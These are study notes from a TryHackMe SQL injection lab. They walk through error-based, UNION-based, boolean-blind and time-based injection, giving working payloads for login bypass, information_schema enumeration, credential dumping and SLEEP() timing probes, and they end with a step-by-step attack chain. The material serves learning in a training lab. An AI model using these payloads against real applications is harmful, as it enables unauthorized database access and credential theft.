SQL Injection

Complete Study Notes

TryHackMe — Error-Based, UNION-Based, Boolean-Blind & Time-Based SQL Injection

22. Discovering Tables
23. Discovering Columns
24. Discovering Username
25. Discovering Password
26. Time-Based Blind SQL Injection
27. SLEEP()
28. Finding Columns (Time-Based)
29. Time-Based Enumeration
30. Complete SQL Injection Workflow
31. Important SQL Functions
32. Why Find Column Count?
33. Why Use information_schema?
34. Difference Between the Four SQLi Types
35. Main Takeaways

01 What is SQL Injection?

SQL Injection (SQLi) is a vulnerability where user input is inserted directly into an SQL query without proper validation or parameterization. Instead of treating the input as normal text, the database interprets it as SQL commands.

Example

Application code:

```
SELECT * FROM users WHERE username='$username';
```

Normal input:

```
admin
```

Query becomes:

```
SELECT * FROM users WHERE username='admin';
```

Malicious input:

```
admin' OR '1'='1
```

Query becomes:

```
SELECT * FROM users WHERE username='admin' OR '1'='1';
```

RESULT: Since '1'='1' is always true, the query returns every row.

02 DBMS

DBMS = Database Management System. A DBMS stores and manages databases.

Examples

- MySQL
- PostgreSQL
- MSSQL
- Oracle
- SQLite

03 Tables

Databases contain tables. Tables contain rows and columns.

Example: users table

id	username	password
1	admin	password
2	john	hello123

04 Types of SQL Injection

We learned four major types.

- **Error-Based**
- **UNION-Based**
- **Boolean-Based Blind**
- **Time-Based Blind**

05 Error-Based SQL Injection

Goal: Force SQL errors so the database leaks information.

Example

URL:

```
?id=1
```

Payload:

```
1'
```

The application returned:

```
SQLSTATE...
Syntax Error...
```

> **RESULT:** The apostrophe broke the SQL query — this immediately confirmed SQL Injection existed.

Main idea — errors tell us:

- SQL syntax
- Database information
- Sometimes table names
- Sometimes column names

06 UNION-Based SQL Injection

Purpose: Return our own data together with the application's data. UNION combines results of two SELECT statements.

```
SELECT ...
UNION
SELECT ...
```

07 Finding Number of Columns

UNION only works if both SELECT statements return the same number of columns. We tested:

```
1 UNION SELECT 1
```

OUTCOME: Error

```
1 UNION SELECT 1,2
```

OUTCOME: Error

```
1 UNION SELECT 1,2,3
```

RESULT: Success

Therefore: the original query had 3 columns. This is always one of the first things we discover.

08 Removing Original Results

Instead of requesting article ID 1 we requested:

```
0 UNION SELECT 1,2,3
```

ID 0 returns no article, so now only our UNION result appears. Instead of seeing an article we saw:

```
2
3
```

RESULT: Columns 2 and 3 are reflected.

09 Finding Database Name

Payload:

```
0 UNION SELECT 1,2,database()
```

`database()` returns the current database.

RESULT: sqli_one

10 information_schema

> **IMPORTANT:** information_schema is a special database that stores metadata. Almost every SQL Injection attack uses it.

It tells us:

- Database names
- Table names
- Column names

11 Listing Tables

Payload:

```
0 UNION SELECT 1,2,
group_concat(table_name)
FROM information_schema.tables
WHERE table_schema='sqli_one'
```

Meaning: search information_schema and return every table belonging to database sqli_one.

> **RESULT:** article, staff_users

12 group_concat()

Normally SQL returns each row separately:

```
article

staff_users
```

`group_concat()` combines everything into one row:

```
article,staff_users
```

RESULT: This makes data much easier to display.

13 Listing Columns

Payload:

```
0 UNION SELECT 1,2,
group_concat(column_name)
FROM information_schema.columns
WHERE table_name='staff_users'
```

RESULT: id, password, username

Now we know exactly what data exists.

14 Dumping Data

Payload:

```
0 UNION SELECT 1,2,
group_concat(username,':',password SEPARATOR '<br>')
FROM staff_users
```

RESULT: admin:p4ssword | martin:pa$$word | jim:work123

This is actual data extraction.

15 Authentication Bypass

Original query:

```
SELECT *
FROM users
WHERE username='admin'
AND password='test'
```

Payload:

```
admin' #
```

Query becomes:

```
SELECT *
FROM users
WHERE username='admin'
```

RESULT: Everything after # is ignored, so the password check disappears and login succeeds.

16 SQL Comments

Comments stop SQL execution. We used # and `--`.

Purpose: ignore everything after our payload.

Example:

```
admin' #
```

becomes:

```
username='admin'
```

RESULT: Password comparison never happens.

17 Blind SQL Injection

Blind SQL Injection means the application never prints database data. Instead we infer information from the application's behaviour.

Two kinds

- **Boolean-Based**
- **Time-Based**

18 Boolean-Based Blind SQL Injection

The application only tells us TRUE or FALSE. Example:

```
{"taken":true}

or

{"taken":false}
```

RESULT: No database information is shown directly — only a true/false signal.

19 UNION in Boolean SQLi

We first discovered the number of columns by trying:

Payload	Result
UNION SELECT 1	False
UNION SELECT 1,2	False
UNION SELECT 1,2,3	True

Therefore: 3 columns.

20 LIKE Operator

LIKE searches patterns. % is a wildcard.

Pattern	Meaning
LIKE 'a%'	Starts with a
LIKE 'ad%'	Starts with ad
LIKE 'admin'	Exactly admin

21 Discovering Database Name

Character-by-character enumeration using payloads:

Payload	Result
database() LIKE 'a%'	False
database() LIKE 'b%'	False
database() LIKE 's%'	True
database() LIKE 'sq%'	True
database() LIKE 'sql%'	True

RESULT: sqli_three

22 Discovering Tables

Payload target: `information_schema.tables`

Try: a%, b%, c% ... eventually:

> **RESULT:** users

23 Discovering Columns

Payload target: `information_schema.columns`

Eventually discovered:

- id
- username
- password

24 Discovering Username

Payload progression:

Payload	Result
username LIKE 'a%'	True
username LIKE 'ad%'	True
username LIKE 'adm%'	True

RESULT: admin

25 Discovering Password

Payload progression:

Payload	Result
password LIKE '4%'	True
password LIKE '49%'	True
password LIKE '496%'	True
password LIKE '4961%'	True

RESULT: 4961

26 Time-Based Blind SQL Injection

Exactly the same idea as Boolean SQLi. The difference: instead of TRUE/FALSE, we watch response time.

27 SLEEP()

`SLEEP(5)` makes MySQL wait 5 seconds. Example:

```
UNION SELECT SLEEP(5),2
```

Condition	Meaning
SQL executes → server waits 5 seconds	Delay = TRUE
SQL does not execute → instant response	No delay = FALSE

28 Finding Columns (Time-Based)

Payload:

```
UNION SELECT SLEEP(5);
```

OUTCOME: No delay — wrong.

Payload:

```
UNION SELECT SLEEP(5),2;
```

OUTCOME: 5-second delay — correct.

Therefore: 2 columns.

29 Time-Based Enumeration

Exactly the same workflow as Boolean-based enumeration. Instead of TRUE / FALSE, we observe Delay / No delay.

1. Find database

↓

2. Find tables

↓

3. Find columns

↓

4. Find username

↓

5. Find password

↓

6. Login

30 Complete SQL Injection Workflow

1. Error-Based — find vulnerability

↓

2. UNION-Based — find column count

↓

3. Find reflected columns

↓

4. database()

↓

5. information_schema.tables

↓

6. information_schema.columns

↓

7. Dump data

↓

8. Blind SQLi — guess one character

↓

9. Observe response

↓

10. Repeat

↓

11. Recover credentials

↓

12. Login

31 Important SQL Functions

Function / Keyword	Purpose
database()	Returns database name.
group_concat()	Combines multiple rows into one.
information_schema.tables	Lists tables.
information_schema.columns	Lists columns.
LIKE	Pattern matching.
%	Wildcard.
SUBSTRING()	Extracts one character.
SLEEP()	Delays SQL execution.
UNION	Combines SELECT statements.

32 Why Find Column Count?

Because UNION only works when both SELECT statements return the same number of columns.

Column Count	Outcome
Wrong number	SQL Error
Correct number	UNION succeeds

33 Why Use information_schema?

Because we usually do not know:

- Database names
- Table names
- Column names

information_schema lets us enumerate them.

34 Difference Between the Four SQLi Types

Type	Response	Goal
Error-Based	SQL errors	Leak information through error messages.
UNION-Based	Actual database data shown	Dump large amounts of information.
Boolean-Based Blind	True / False	Infer one character at a time.
Time-Based Blind	Response delay	Infer one character at a time using execution time.

35 Main Takeaways

- SQL Injection happens when user input is directly inserted into SQL queries.
- Always determine the number of columns first.
- Use UNION SELECT to retrieve data.
- Use database() to discover the current database.
- information_schema.tables reveals table names.
- information_schema.columns reveals column names.
- group_concat() combines many rows into one readable output.
- LIKE with % allows character-by-character guessing.
- Blind SQL Injection never shows data directly.
- Boolean Blind uses TRUE/FALSE responses.
- Time-Based Blind uses SLEEP() and response delays.

The Complete Attack Chain

1. Find SQLi

↓

2. Determine columns

↓

3. Enumerate database

↓

4. Enumerate tables

↓

5. Enumerate columns

↓

6. Enumerate usernames

↓

7. Enumerate passwords

↓

8. Login